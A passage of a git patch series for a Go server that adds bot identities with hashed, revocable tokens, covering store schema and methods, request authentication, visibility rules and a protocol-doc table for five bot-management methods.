var found bool + space, found = spaceOf(all, v.Handle) + if !found || !v.canSee(space) { + h.fail(w, http.StatusNotFound, errWorkstreamGone.Error()) + return + } + } else { + space, err = h.ensureSpace(v.Handle) + if h.failed(w, err) { + return + } } body, err := h.workstreamBody(space, v) if h.failed(w, err) { diff --git a/internal/factory/serve/org_record.go b/internal/factory/serve/org_record.go index 7f946e1d90..64ce730656 100644 --- a/internal/factory/serve/org_record.go +++ b/internal/factory/serve/org_record.go @@ -46,9 +46,13 @@ func (h *Handler) recordOrg(r *http.Request, kind, verb, object, detail string) if who == "" { return } + operator := operatorOnly[kind] + if strings.HasPrefix(object, botAgentPrefix) { + operator = h.isOperator(r) + } _, _ = h.config.Record.Append(r.Context(), record.Event{Kind: kind, Verb: verb, Object: object, Handle: who, Detail: strings.TrimSpace(detail), - Actor: record.Actor{Kind: "person", Name: "@" + who, Operator: operatorOnly[kind]}}) + Actor: record.Actor{Kind: "person", Name: "@" + who, Operator: operator}}) } // operatorOnly are the kinds only the operator may make, so their actor is @@ -96,6 +100,12 @@ func (h *Handler) orgRecordVisible(r *http.Request, events []record.Event) []rec seen := map[string]bool{} out := events[:0:0] for _, e := range events { + if strings.HasPrefix(e.Object, botAgentPrefix) { + if h.isOperator(r) || h.orgActor(r) == e.Handle && !h.profileless(r) { + out = append(out, e) + } + continue + } if ref, isResource := strings.CutPrefix(e.Object, orgObjectResource); isResource { ok, cached := seen[e.Object] if !cached && h.config.Store != nil { diff --git a/internal/factory/serve/org_repos.go b/internal/factory/serve/org_repos.go index 3e04595e0f..7c8b515d16 100644 --- a/internal/factory/serve/org_repos.go +++ b/internal/factory/serve/org_repos.go @@ -47,7 +47,7 @@ func (h *Handler) orgRepos(r *http.Request, handle string) map[string]bool { for _, name := range watched { addRepoKey(out, name) } - if handle != h.operatorLogin(r) { + if isBotCall(r) || handle != h.operatorLogin(r) { return out } // The operator chooses from what the server's grant reached at its last diff --git a/internal/factory/serve/people_v2.go b/internal/factory/serve/people_v2.go index 65ca2cb1ed..be43f4b359 100644 --- a/internal/factory/serve/people_v2.go +++ b/internal/factory/serve/people_v2.go @@ -9,9 +9,12 @@ import ( "github.com/Agent-Field/codeaf/internal/factory" "github.com/Agent-Field/codeaf/internal/factory/api" "github.com/Agent-Field/codeaf/internal/factory/record" + "github.com/Agent-Field/codeaf/internal/factory/store" "github.com/Agent-Field/codeaf/internal/factory/tokens" ) +const teamHandleRefusal = "this GitHub handle is not on the factory team" + // mode follows the actual serving door unless the host explicitly selects a mode. func (h *Handler) mode() string { if h.config.Mode == api.FactorySolo || h.config.Mode == api.FactoryTeam { @@ -188,7 +191,7 @@ func (h *Handler) operatorRevokePerson(w http.ResponseWriter, r *http.Request) { if !ok { return } - if h.failed(w, h.revokePerson(r, handle)) { + if h.failed(w, h.revokePerson(handle, true)) { return } // A removed password person's password signs nobody in any more. @@ -227,8 +230,13 @@ func (h *Handler) operatorRevokePerson(w http.ResponseWriter, r *http.Request) { h.finish(w, h.operatorEvent(r, record.SessionsRevoked, "person:"+handle, detail)) } -// revokePerson ends sign-ins and runner credentials before ownership is made available again. -func (h *Handler) revokePerson(r *http.Request, handle string) error { +// revokePerson ends sign-ins and runner credentials. Leaving the +// organization also ends the person's bot credentials. +func (h *Handler) revokePerson(handle string, leaving bool) error { + if leaving { + h.botCreateMu.Lock() + defer h.botCreateMu.Unlock() + } h.sessions.mu.Lock() for key, s := range h.sessions.ids { if profileHandle(s) == handle { @@ -241,6 +249,11 @@ func (h *Handler) revokePerson(r *http.Request, handle string) error { if err != nil { return err } + if leaving && h.config.Store != nil { + if err := h.config.Store.DisableBotsOf(handle, store.ErrBotDisabled.Error(), h.now()); err != nil { + return err + } + } if h.workers != nil { h.workers.mu.Lock() for key, row := range h.workers.credentials { diff --git a/internal/factory/serve/serve.go b/internal/factory/serve/serve.go index 70e3d74c84..fb5bbb47ff 100644 --- a/internal/factory/serve/serve.go +++ b/internal/factory/serve/serve.go @@ -256,6 +256,7 @@ type Handler struct { setupDone chan struct{} setupTimer *time.Timer accessMu sync.Mutex + botCreateMu sync.Mutex accessFlows map[string]accessLinkFlow // commentFlights holds the jobs with a comment on their issue being // posted by this handler (issue_comment.go). @@ -428,6 +429,7 @@ func New(seam factory.Seam, config Config) *Handler { h.orgSetupRoutes() h.chatRoutes() h.accessRoutes() + h.botRoutes() h.reconcileChatFolders() h.backfillChats() h.backfillSessions() @@ -543,6 +545,7 @@ func (h *Handler) Close() { // floor to a remote caller without the host's access token or a live session. func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { r = authRequest(h.withClient(r)) + worker := workerPath(r.URL.Path) w.Header().Set("Cache-Control", "no-store") if markPreMutation(r) { w.Header().Set(api.PhaseHeader, api.PhasePreMutation) @@ -552,12 +555,19 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { if secureRequest(r) { w.Header().Set("Strict-Transport-Security", h.hsts()) } - if h.config.ServedBy == "app" && !workerPath(r.URL.Path) && !h.floorToken(bearer(r)) { + if secret := bearer(r); !worker && strings.HasPrefix(secret, botTokenPrefix) { + var ok bool + r, ok = h.withBot(w, r, secret) + if !ok { + return + } + } + if h.config.ServedBy == "app" && !worker && !h.floorToken(bearer(r)) { w.Header().Set("WWW-Authenticate", `Bearer realm="factory"`) h.fail(w, http.StatusUnauthorized, "the app bearer token is required") return } - if workerPath(r.URL.Path) { + if worker { var ok bool r, ok = h.authorizeWorker(w, r) if !ok { @@ -580,7 +590,7 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { if h.authFailed(w, r) { return } - if !workerPath(r.URL.Path) && r.URL.Path != "/v1/about" && r.URL.Path != "/access" && r.URL.Path != "/v1/auth/device" && r.URL.Path != "/v1/auth/device/poll" && r.URL.Path != "/v1/auth/password" && !passkeyOpenPath(r.URL.Path) { + if !worker && r.URL.Path != "/v1/about" && r.URL.Path != "/access" && r.URL.Path != "/v1/auth/device" && r.URL.Path != "/v1/auth/device/poll" && r.URL.Path != "/v1/auth/password" && !passkeyOpenPath(r.URL.Path) { if session, ok := h.credential(r); ok && session.tokenID != "" { for _, tok := range h.tokenRows() { if tok.ID == session.tokenID && (tok.AccessLink || tok.InvitedBy != "") { @@ -593,7 +603,7 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { } } if session, ok := h.credential(r); ok && session.profile != nil && !h.teamAllows(session.profile.Handle) { - h.fail(w, http.StatusForbidden, "this GitHub handle is not on the factory team") + h.fail(w, http.StatusForbidden, teamHandleRefusal) return } // Noncanonical paths are refused here so ServeMux cannot replace the JSON @@ -602,7 +612,7 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { h.fail(w, http.StatusNotFound, api.EndpointNotFound) return } - if workerPath(r.URL.Path) || r.URL.Path == "/v1/workers/attach" || r.URL.Path == "/v1/runners/attach" { + if worker || r.URL.Path == "/v1/workers/attach" || r.URL.Path == "/v1/runners/attach" { defer h.machineEvents() } // Settle missing or expired holds before reading job state. @@ -610,7 +620,7 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { if h.failed(w, err) { return } - if !workerPath(r.URL.Path) || h.workerSettleDue(workerSettleWindow(r.URL.Path)) { + if !worker || h.workerSettleDue(workerSettleWindow(r.URL.Path)) { h.settleJobs(r.Method == http.MethodPost, held) } h.idempotent(w, r) diff --git a/internal/factory/serve/visibility.go b/internal/factory/serve/visibility.go index fc8baf0c09..2d6ded97aa 100644 --- a/internal/factory/serve/visibility.go +++ b/internal/factory/serve/visibility.go @@ -177,6 +177,12 @@ type repoSightOf struct { // doors that ask more of a repository reached through the organization alone // (a new job on one is made in a workstream the caller can edit). func (h *Handler) repoSight(r *http.Request, keys []string) (repoSightOf, bool) { + if call, _ := agentCallOf(r); call.bot != "" { + // Workstream tasks can include jobs. A bot can see the organization's + // repositories there without using any person's GitHub credential. + org := h.orgRepos(r, call.handle) + return repoSightOf{allow: org, viaOrg: org}, true + } var session accessSession var ok bool trial, isTrial := r.Context().Value(trialSessionKey{}).(*accessSession) diff --git a/internal/factory/serve/workstream_agent_work.go b/internal/factory/serve/workstream_agent_work.go index f6da174249..7ff48b9f2b 100644 --- a/internal/factory/serve/workstream_agent_work.go +++ b/internal/factory/serve/workstream_agent_work.go @@ -55,6 +55,8 @@ type agentCallKey struct{} type agentCall struct { handle string agent string + bot string + only []string operator bool by factory.TaskEventBy } @@ -64,6 +66,12 @@ func agentCallOf(r *http.Request) (agentCall, bool) { return call, ok } +// afiCallOf keeps exceptions made for the server's own agent off the bot door. +func afiCallOf(r *http.Request) (agentCall, bool) { + call, ok := agentCallOf(r) + return call, ok && call.bot == "" +} + // afiBy is how the server's agent signs a thread. var afiBy = factory.TaskEventBy{Kind: factory.TaskByAfi, Name: "Afi"} diff --git a/internal/factory/serve/workstream_page_comments.go b/internal/factory/serve/workstream_page_comments.go index 186c74de87..5278d7b5a5 100644 --- a/internal/factory/serve/workstream_page_comments.go +++ b/internal/factory/serve/workstream_page_comments.go @@ -125,7 +125,7 @@ func (h *Handler) postPageComment(w http.ResponseWriter, r *http.Request) { // Markdown, never the editor's blocks, so its thread has no block path and // its block text is the quote itself. The desk finds the words on the live // page the same way it finds every thread's (the one place that says them). - _, agent := agentCallOf(r) + _, agent := afiCallOf(r) text, err := commentWords(body.Text) switch { case err != nil: diff --git a/internal/factory/serve/workstream_task_autostart.go b/internal/factory/serve/workstream_task_autostart.go index 8c9983df9f..89e9f13692 100644 --- a/internal/factory/serve/workstream_task_autostart.go +++ b/internal/factory/serve/workstream_task_autostart.go @@ -2,6 +2,7 @@ package serve import ( "net/http" + "strings" "github.com/Agent-Field/codeaf/internal/factory" "github.com/Agent-Field/codeaf/internal/factory/store" @@ -53,7 +54,7 @@ func (h *Handler) startReleased(tw store.TaskWrite, ws factory.OrgWorkstream, fi at := finished.UpdatedAt for _, rel := range released { line := "Ready to start: " + finished.Title + " is done" - if rel.DoneBy.Kind == factory.TaskByAfi && factory.StartsBySelf(rel, all, h.ownerStarts(rel)) { + if !strings.HasPrefix(by.ID, botAgentPrefix) && rel.DoneBy.Kind == factory.TaskByAfi && factory.StartsBySelf(rel, all, h.ownerStarts(rel)) { running := rel running.State, running.StateReason, running.StoppedBy = factory.TaskRunning, "", nil running.Rev++ diff --git a/internal/factory/serve/workstream_task_wake.go b/internal/factory/serve/workstream_task_wake.go index 643dba021b..dc66c115a6 100644 --- a/internal/factory/serve/workstream_task_wake.go +++ b/internal/factory/serve/workstream_task_wake.go @@ -2,11 +2,23 @@ package serve import ( "errors" + "net/http" "strings" "github.com/Agent-Field/codeaf/internal/factory" ) +var errBotRun = errors.New(botRunRefused) + +// wakeRequestedTaskDoer keeps a bot's scope from being dropped by a new run +// while allowing it to start work that has a person as its doer. +func (h *Handler) wakeRequestedTaskDoer(r *http.Request, ws factory.OrgWorkstream, t factory.WorkstreamTask, starter string) error { + if isBotCall(r) && factory.AgentDoes(t) { + return errBotRun + } + return h.wakeTaskDoer(ws, t, starter) +} + // RUNNING MEANS A DOER IS AT WORK, ON THE SERVER TOO. A person who starts an // Afi task here does not mark it running and hope: the server starts Afi on // it in the task's own seat (runTaskTurn) inside the same write that marks it @@ -51,5 +63,5 @@ func (h *Handler) wakeTaskDoer(ws factory.OrgWorkstream, t factory.WorkstreamTas // wakeRefused reports whether err is a start the doer could not take. func wakeRefused(err error) bool { - return errors.Is(err, errTaskBusy) || errors.Is(err, errTaskNoRunner) || errors.Is(err, errAgentNotHere) + return errors.Is(err, errTaskBusy) || errors.Is(err, errTaskNoRunner) || errors.Is(err, errAgentNotHere) || errors.Is(err, errBotRun) } diff --git a/internal/factory/serve/workstream_tasks.go b/internal/factory/serve/workstream_tasks.go index 1e7f8204a5..a674aef40c 100644 --- a/internal/factory/serve/workstream_tasks.go +++ b/internal/factory/serve/workstream_tasks.go @@ -262,6 +262,8 @@ func (h *Handler) taskRefused(w http.ResponseWriter, err error) bool { h.fail(w, http.StatusPreconditionFailed, err.Error()) case errors.Is(err, store.ErrTaskGone): h.fail(w, http.StatusNotFound, err.Error()) + case errors.Is(err, errBotRun): + h.fail(w, http.StatusForbidden, err.Error()) case errors.Is(err, errTaskAnswered), errors.Is(err, factory.ErrTaskNoAsk), errors.Is(err, factory.ErrTaskOfferGone), errors.Is(err, factory.ErrTaskUndoOver), errors.Is(err, errTaskDeleteUndoOver), errors.Is(err, factory.ErrTaskFactoryState), wakeRefused(err): h.fail(w, http.StatusConflict, err.Error()) @@ -368,7 +370,7 @@ func (h *Handler) createWorkstreamTask(w http.ResponseWriter, r *http.Request) { return err } made, woke = out.Task, true - return h.wakeTaskDoer(ws, made, v.Handle) + return h.wakeRequestedTaskDoer(r, ws, made, v.Handle) }) if woke && err != nil && !wakeRefused(err) { // The write failed after the doer took the task: nothing says it is @@ -524,6 +526,7 @@ func (h *Handler) patchWorkstreamTask(w http.ResponseWriter, r *http.Request) { var out factory.TaskChange wake := false _, byAgent := agentCallOf(r) + _, byAfi := afiCallOf(r) var rewaited, autoStarted []factory.WorkstreamTask jobs, err := h.workstreamJobs(r, ws) if h.failed(w, err) { @@ -550,11 +553,11 @@ func (h *Handler) patchWorkstreamTask(w http.ResponseWriter, r *http.Request) { } // A person's start wakes the doer before the task may say running // (workstream_task_wake.go); the agent's own "running" is its run. - wake = !byAgent && target.ID == "" && t.State != factory.TaskRunning && out.Task.State == factory.TaskRunning + wake = !byAfi && target.ID == "" && t.State != factory.TaskRunning && out.Task.State == factory.TaskRunning // START ON A TASK THAT SAYS RUNNING WITH NOTHING BEHIND IT STARTS IT // AGAIN (live2 WL: it answered 200 and did nothing, and only Stop then // Start recovered it). A run that is going is left alone. - if !byAgent && target.ID == "" && p.State != nil && *p.State == factory.TaskRunning && t.State == factory.TaskRunning && + if !byAfi && target.ID == "" && p.State != nil && *p.State == factory.TaskRunning && t.State == factory.TaskRunning && t.DoneBy.Kind == factory.TaskByAfi && !h.taskTurnRunning(ws.ID, tid) { wake = true out.Events = append(out.Events, factory.WorkstreamTaskEvent{ID: h.newTaskID("te_")(), Task: tid, At: out.Task.UpdatedAt, By: by, @@ -627,7 +630,7 @@ func (h *Handler) patchWorkstreamTask(w http.ResponseWriter, r *http.Request) { // Last, with the write still open: a doer that cannot take the // task leaves nothing kept, and the run's own first write waits // for this one. - return h.wakeTaskDoer(ws, out.Task, v.Handle) + return h.wakeRequestedTaskDoer(r, ws, out.Task, v.Handle) } return nil }) @@ -685,7 +688,9 @@ func (h *Handler) answerWorkstreamTask(w http.ResponseWriter, r *http.Request) { now := h.clock().UTC() actor, by := taskActor(v, ws), h.taskBy(r, v) // The rules first, on the task as read: who answers, and what. - by.Name = h.personNames()(v.Handle) + if !isBotCall(r) { + by.Name = h.personNames()(v.Handle) + } change, err := factory.AnswerTask(t, body.Ask, body.Option, body.Text, actor, by, taskFallback(ws), h.newTaskID("te_"), now) if h.taskRefused(w, err) { return @@ -768,11 +773,14 @@ func (h *Handler) answerWorkstreamTask(w http.ResponseWriter, r *http.Request) { if wake { // Last, with the write still open: a Go Afi cannot take keeps no // answer, so the question stays asked. - return h.wakeTaskDoer(ws, change.Task, v.Handle) + return h.wakeRequestedTaskDoer(r, ws, change.Task, v.Handle) } if limit && change.Task.State == factory.TaskRunning { // Keep going: a new run on the same conversation, with a fresh // allowance. A server that cannot run Afi now refuses the answer. + if isBotCall(r) { + return errBotRun + } return h.startTaskRun(ws, change.Task, v.Handle, keepGoingWords(change.Task, asked, by.Name, body.Text), 0, true) } return nil @@ -1023,7 +1031,7 @@ func (h *Handler) startTask(r *http.Request, ws factory.OrgWorkstream, v Viewer, if err := tw.Append(ws.ID, out.Events...); err != nil { return err } - return h.wakeTaskDoer(ws, out.Task, v.Handle) + return h.wakeRequestedTaskDoer(r, ws, out.Task, v.Handle) }) if err != nil && !wakeRefused(err) { h.stopTaskTurn(ws.ID, tid) diff --git a/internal/factory/store/bots.go b/internal/factory/store/bots.go new file mode 100644 index 0000000000..a7528e1be4 --- /dev/null +++ b/internal/factory/store/bots.go @@ -0,0 +1,367 @@ +package store + +import ( + "database/sql" + "errors" + "strings" + "time" +) + +// The removal receipts retain only a hash so a removed bot's credentials +// can be recognized after its bot and token rows have been deleted. +const botsSchema = ` +CREATE TABLE IF NOT EXISTS bots ( + id TEXT PRIMARY KEY, + name TEXT NOT NULL COLLATE NOCASE, + creator TEXT NOT NULL, + scope TEXT NOT NULL, + created_at TEXT NOT NULL, + disabled_at TEXT, + disabled_why TEXT, + UNIQUE (creator, name) +); +CREATE TABLE IF NOT EXISTS bot_tokens ( + id TEXT PRIMARY KEY, + bot_id TEXT NOT NULL, + token_hash TEXT NOT NULL UNIQUE, + label TEXT NOT NULL, + hint TEXT NOT NULL, + created_at TEXT NOT NULL, + expires_at TEXT, + revoked_at TEXT, + last_used_at TEXT +); +CREATE INDEX IF NOT EXISTS bot_tokens_bot ON bot_tokens (bot_id); +CREATE TABLE IF NOT EXISTS removed_bot_token_hashes ( + token_hash TEXT PRIMARY KEY +); +` + +const ( + BotsPerPerson = 20 + BotLiveTokens = 3 + // Fixed-width UTC times make comparisons in the database chronological. + botTime = "2006-01-02T15:04:05.000000000Z" +) + +var ( + ErrBotNameTaken = errors.New("you already have a bot with that name") + ErrBotLimit = errors.New("you have reached the limit for bots") + ErrBotTokenLimit = errors.New("this bot has reached the limit for live tokens") + ErrBotGone = errors.New("bot not found") + ErrBotTokenGone = errors.New("bot token not found") + ErrBotDisabled = errors.New("that bot was switched off because its creator left the organization") +) + +// Bot and BotToken contain only the metadata that may be returned in a list. +type Bot struct { + ID string `json:"id"` + Name string `json:"name"` + Creator string `json:"creator"` + Scope string `json:"scope,omitempty"` + CreatedAt string `json:"created_at"` + DisabledAt *string `json:"disabled_at,omitempty"` + DisabledWhy *string `json:"-"` + Tokens []BotToken `json:"tokens"` +} + +type BotToken struct { + ID string `json:"id"` + Label string `json:"label"` + Hint string `json:"hint"` + CreatedAt string `json:"created_at"` + ExpiresAt *string `json:"expires_at,omitempty"` + RevokedAt *string `json:"revoked_at,omitempty"` + LastUsedAt *string `json:"last_used_at,omitempty"` +} + +type BotTokenState string + +const ( + BotTokenLive BotTokenState = "" + BotTokenUnknown BotTokenState = "unknown" + BotTokenRevoked BotTokenState = "revoked" + BotTokenExpired BotTokenState = "expired" + BotTokenRemoved BotTokenState = "bot_removed" + BotTokenDisabled BotTokenState = "bot_disabled" +) + +const botColumns = `b.id, b.name, b.creator, b.scope, b.created_at, b.disabled_at, b.disabled_why` +const botTokenColumns = `t.id, t.label, t.hint, t.created_at, t.expires_at, t.revoked_at, t.last_used_at` + +func (b *Bot) fields() []any { + return []any{&b.ID, &b.Name, &b.Creator, &b.Scope, &b.CreatedAt, &b.DisabledAt, &b.DisabledWhy} +} + +// CreateBot stores the initial token with the bot so a failed mint never +// leaves the person with a bot they cannot use. +func (st *Store) CreateBot(b Bot, token BotToken, hash string, now time.Time) (Bot, error) { + db, err := st.wsDB(true) + if err != nil { + return Bot{}, err + } + tx, err := db.Begin() + if err != nil { + return Bot{}, err + } + defer tx.Rollback() + + names, err := tx.Query(`SELECT name FROM bots WHERE creator = ?`, b.Creator) + if err != nil { + return Bot{}, err + } + count, err := countBotNames(names, b.Name) + if err != nil { + return Bot{}, err + } + if count >= BotsPerPerson { + return Bot{}, ErrBotLimit + } + b.CreatedAt = now.UTC().Format(botTime) + _, err = tx.Exec(`INSERT INTO bots (id, name, creator, scope, created_at) VALUES (?, ?, ?, ?, ?)`, + b.ID, b.Name, b.Creator, b.Scope, b.CreatedAt) + if err != nil { + return Bot{}, err + } + token.CreatedAt = b.CreatedAt + if err := insertBotToken(tx, b.ID, token, hash); err != nil { + return Bot{}, err + } + b.Tokens = []BotToken{token} + return b, tx.Commit() +} + +func countBotNames(rows *sql.Rows, name string) (int, error) { + defer rows.Close() + count := 0 + for rows.Next() { + var existing string + if err := rows.Scan(&existing); err != nil { + return 0, err + } + // SQLite's NOCASE collation covers ASCII only. + if strings.EqualFold(existing, name) { + return 0, ErrBotNameTaken + } + count++ + } + return count, rows.Err() +} + +func insertBotToken(tx *sql.Tx, bot string, token BotToken, hash string) error { + _, err := tx.Exec(`INSERT INTO bot_tokens (id, bot_id, token_hash, label, hint, created_at, expires_at) + VALUES (?, ?, ?, ?, ?, ?, ?)`, token.ID, bot, hash, token.Label, token.Hint, token.CreatedAt, token.ExpiresAt) + return err +} + +// Bots lists one creator's bots, or all bots when creator is empty. +func (st *Store) Bots(creator string) ([]Bot, error) { + out := []Bot{} + db, err := st.wsDB(false) + if err != nil || db == nil { + return out, err + } + rows, err := db.Query(`SELECT `+botColumns+`, + COALESCE(t.id, ''), COALESCE(t.label, ''), COALESCE(t.hint, ''), COALESCE(t.created_at, ''), + t.expires_at, t.revoked_at, t.last_used_at + FROM bots b LEFT JOIN bot_tokens t ON t.bot_id = b.id + WHERE ? = '' OR b.creator = ? + ORDER BY b.creator, b.name, b.id, t.created_at, t.id`, creator, creator) + if err != nil { + return nil, err + } + defer rows.Close() + for rows.Next() { + var b Bot + var tok BotToken + if err := rows.Scan(append(b.fields(), &tok.ID, &tok.Label, &tok.Hint, &tok.CreatedAt, + &tok.ExpiresAt, &tok.RevokedAt, &tok.LastUsedAt)...); err != nil { + return nil, err + } + if len(out) == 0 || out[len(out)-1].ID != b.ID { + b.Tokens = []BotToken{} + out = append(out, b) + } + if tok.ID != "" { + last := &out[len(out)-1] + last.Tokens = append(last.Tokens, tok) + } + } + return out, rows.Err() +} + +func (st *Store) Bot(id string) (Bot, error) { + var b Bot + db, err := st.wsDB(false) + if err != nil { + return b, err + } + if db == nil { + return b, ErrBotGone + } + err = db.QueryRow(`SELECT `+botColumns+` FROM bots b WHERE b.id = ?`, id).Scan(b.fields()...) + if errors.Is(err, sql.ErrNoRows) { + err = ErrBotGone + } + return b, err +} + +// AddBotToken checks the live-token limit inside the same write as the mint. +func (st *Store) AddBotToken(id string, token BotToken, hash string, now time.Time, expires *time.Time) (BotToken, error) { + db, err := st.wsDB(false) + if err != nil { + return BotToken{}, err + } + if db == nil { + return BotToken{}, ErrBotGone + } + tx, err := db.Begin() + if err != nil { + return BotToken{}, err + } + defer tx.Rollback() + var disabled *string + err = tx.QueryRow(`SELECT disabled_at FROM bots WHERE id = ?`, id).Scan(&disabled) + if errors.Is(err, sql.ErrNoRows) { + return BotToken{}, ErrBotGone + } + if err != nil { + return BotToken{}, err + } + if disabled != nil { + return BotToken{}, ErrBotDisabled + } + token.CreatedAt = now.UTC().Format(botTime) + if expires != nil { + stamp := expires.UTC().Format(botTime) + token.ExpiresAt = &stamp + } + var count int + err = tx.QueryRow(`SELECT COUNT(*) FROM bot_tokens + WHERE bot_id = ? AND revoked_at IS NULL AND (expires_at IS NULL OR expires_at > ?)`, id, token.CreatedAt).Scan(&count) + if err != nil { + return BotToken{}, err + } + if count >= BotLiveTokens { + return BotToken{}, ErrBotTokenLimit + } + if err := insertBotToken(tx, id, token, hash); err != nil { + return BotToken{}, err + } + return token, tx.Commit() +} + +func (st *Store) RevokeBotToken(bot, id string, now time.Time) error { + db, err := st.wsDB(false) + if err != nil { + return err + } + if db == nil { + return ErrBotTokenGone + } + result, err := db.Exec(`UPDATE bot_tokens SET revoked_at = COALESCE(revoked_at, ?) WHERE bot_id = ? AND id = ?`, + now.UTC().Format(botTime), bot, id) + if err != nil { + return err + } + if count, err := result.RowsAffected(); err != nil || count != 0 { + return err + } + return ErrBotTokenGone +} + +func (st *Store) RemoveBot(id string) error { + db, err := st.wsDB(false) + if err != nil { + return err + } + if db == nil { + return ErrBotGone + } + tx, err := db.Begin() + if err != nil { + return err + } + defer tx.Rollback() + result, err := tx.Exec(`DELETE FROM bots WHERE id = ?`, id) + if err != nil { + return err + } + if count, err := result.RowsAffected(); err != nil { + return err + } else if count == 0 { + return ErrBotGone + } + if _, err := tx.Exec(`INSERT INTO removed_bot_token_hashes SELECT token_hash FROM bot_tokens WHERE bot_id = ?`, id); err != nil { + return err + } + if _, err := tx.Exec(`DELETE FROM bot_tokens WHERE bot_id = ?`, id); err != nil { + return err + } + return tx.Commit() +} + +// DisableBotsOf keeps the bots disabled even if the creator rejoins later. +func (st *Store) DisableBotsOf(creator, why string, now time.Time) error { + db, err := st.wsDB(false) + if err != nil || db == nil { + return err + } + tx, err := db.Begin() + if err != nil { + return err + } + defer tx.Rollback() + stamp := now.UTC().Format(botTime) + if _, err := tx.Exec(`UPDATE bots SET disabled_at = ?, disabled_why = ? WHERE creator = ? AND disabled_at IS NULL`, stamp, why, creator); err != nil { + return err + } + if _, err := tx.Exec(`UPDATE bot_tokens SET revoked_at = ? WHERE revoked_at IS NULL AND bot_id IN + (SELECT id FROM bots WHERE creator = ?)`, stamp, creator); err != nil { + return err + } + return tx.Commit() +} + +func (st *Store) FindBotToken(hash string, now time.Time) (Bot, BotToken, BotTokenState, error) { + var b Bot + var tok BotToken + db, err := st.wsDB(false) + if err != nil || db == nil { + return b, tok, BotTokenUnknown, err + } + err = db.QueryRow(`SELECT `+botColumns+`, `+botTokenColumns+` + FROM bot_tokens t JOIN bots b ON b.id = t.bot_id WHERE t.token_hash = ?`, hash). + Scan(append(b.fields(), &tok.ID, &tok.Label, &tok.Hint, &tok.CreatedAt, &tok.ExpiresAt, &tok.RevokedAt, &tok.LastUsedAt)...) + if errors.Is(err, sql.ErrNoRows) { + var removed bool + err = db.QueryRow(`SELECT EXISTS (SELECT 1 FROM removed_bot_token_hashes WHERE token_hash = ?)`, hash).Scan(&removed) + if removed { + return b, tok, BotTokenRemoved, err + } + return b, tok, BotTokenUnknown, err + } + state := BotTokenLive + switch { + case b.DisabledAt != nil: + state = BotTokenDisabled + case tok.RevokedAt != nil: + state = BotTokenRevoked + case tok.ExpiresAt != nil && *tok.ExpiresAt <= now.UTC().Format(botTime): + state = BotTokenExpired + } + return b, tok, state, err +} + +// TouchBotToken uses the stored time in its update so even concurrent calls +// write at most once a minute. The caller can skip it on a recent read. +func (st *Store) TouchBotToken(id string, now time.Time) error { + db, err := st.wsDB(false) + if err != nil || db == nil { + return err + } + _, err = db.Exec(`UPDATE bot_tokens SET last_used_at = ? + WHERE id = ? AND revoked_at IS NULL AND (last_used_at IS NULL OR last_used_at <= ?)`, + now.UTC().Format(botTime), id, now.Add(-time.Minute).UTC().Format(botTime)) + return err +} diff --git a/internal/factory/store/grants.go b/internal/factory/store/grants.go index b8dc2d3df4..37c96e1a5a 100644 --- a/internal/factory/store/grants.go +++ b/internal/factory/store/grants.go @@ -70,7 +70,7 @@ CREATE TABLE IF NOT EXISTS org_policy ( updated_at TEXT NOT NULL, updated_by TEXT NOT NULL ); -` +` + botsSchema // grantColumns is the column list every grant read and write uses. const grantColumns = `id, subject_kind, subject_id, resource_kind, resource_id, role, From 21b58f6642912544a3fae1b588891b23753c511c Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 01:35:14 -0500 Subject: [PATCH 020/176] engine: the five bot methods, under the org_bots hello word factory.org_bots, factory.org_bot_new, factory.org_bot_token_new, factory.org_bot_token_revoke and factory.org_bot_remove follow the org_access pattern: one fixed request each, with checked path segments, advertised only by an engine that can reach an organization server. The minting answers carry the secret once; nothing logs a request or reply body on this path. PROTOCOL.md names every method and says the secret is shown once. Co-Authored-By: Claude Sonnet 5.5 --- docs/design/app-v3/PROTOCOL.md | 12 ++++ internal/appwire/factory_org_bots.go | 80 +++++++++++++++++++++++ internal/appwire/factory_org_bots_test.go | 55 ++++++++++++++++ internal/appwire/server.go | 1 + 4 files changed, 148 insertions(+) create mode 100644 internal/appwire/factory_org_bots.go create mode 100644 internal/appwire/factory_org_bots_test.go diff --git a/docs/design/app-v3/PROTOCOL.md b/docs/design/app-v3/PROTOCOL.md index aa5a92eb65..e638064b7a 100644 --- a/docs/design/app-v3/PROTOCOL.md +++ b/docs/design/app-v3/PROTOCOL.md @@ -1154,6 +1154,18 @@ its own methods and answers `conflict` naming them. | `factory.org_transcript {kind, id, since?}` → `GET /v1/resources/{kind}/{id}/transcript` | Reads a registered chat or session through the current view permission. Answers `{kind, id, state, seq, entries}`. With `since`, entries begin after that sequence number. The transcript offers read access only. A missing or inaccessible resource returns `not_found`. | | `resource.changed {kind, id}` | A chat move or a lapse of a grant on a registered resource reaches the combined old and new audience. Canvas and workstream grant lapses emit `canvas.changed` and `workstream.changed`. | +An engine whose hello carries `org_bots` can manage bot identities on an organization +server. The server returns each secret in its minting answer once. Lists show token +metadata and a short hint. + +| method | HTTP request | Server behavior | +| --- | --- | --- | +| `factory.org_bots` | `GET /v1/bots` | Lists the caller's bots and their token metadata. The operator sees all bots. | +| `factory.org_bot_new {name, scope?}` | `POST /v1/bots` | Creates a bot and returns `{bot, token}`. The optional scope names a current organization role. | +| `factory.org_bot_token_new {bot, label?, expires_at?}` | `POST /v1/bots/{bot}/tokens` | The bot's creator mints a token. The response includes `token_id` and `token`. | +| `factory.org_bot_token_revoke {bot, token}` | `DELETE /v1/bots/{bot}/tokens/{token}` | The creator or operator revokes a token by ID. | +| `factory.org_bot_remove {bot}` | `DELETE /v1/bots/{bot}` | The creator or operator removes a bot and ends its tokens. | + An engine whose hello carries `org_agents` keeps an organization's agents: a name and instructions one person made in their space. `factory.org_agents` `GET /v1/agents` answers `{agents: [{id, name, instructions?, owner, owner_name?, roster?, team?, mine?, diff --git a/internal/appwire/factory_org_bots.go b/internal/appwire/factory_org_bots.go new file mode 100644 index 0000000000..7adb90f7bf --- /dev/null +++ b/internal/appwire/factory_org_bots.go @@ -0,0 +1,80 @@ +package appwire + +import ( + "encoding/json" + "net/http" + "net/url" + + "github.com/Agent-Field/codeaf/internal/factory/api" +) 